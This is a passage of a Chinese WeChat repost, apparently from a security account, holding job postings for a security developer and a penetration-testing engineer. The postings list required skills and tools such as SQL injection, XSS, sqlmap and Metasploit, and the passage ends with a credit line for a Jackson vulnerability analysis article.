4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
4.在互联网企业有相关安全产品开发经验优先;
5.具备良好的英语文档阅读能力。
PS:邮件主题中请注明工作意向城市,岗位要求可通过加分项弥补
安全服务工程师/渗透测试工程师
————————
工作地点:新疆
1、掌握渗透测试原理和渗透测试流程,具备2年以上渗透测试工作经验,能够独立完成渗透测试方案和测试报告;
2、熟悉风险评估、安全评估;
3、熟练掌握各类渗透工具,如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等;
4、熟练掌握Web渗透手法,如SQL注入、XSS、文件上传等攻击技术;
5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
8、加分项:有安全开发经验/可进行代码审计工作;
9、加分项:有安全和网络相关证书,如CISSP、CISA、CISP 、CCNP、CCIE等认证者;
岗位职责:
1、参与安全服务项目实施,其中包括渗透测试与安全评估,代码审计,安全培训,应急响应;
2、独立完成安全服务项目报告编写,输出安全服务实施报告;
简历投递至 [email protected]
专注渗透测试技术
全球最新网络攻击技术
原文始发于微信公众号(白帽子):Jackson 安全漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论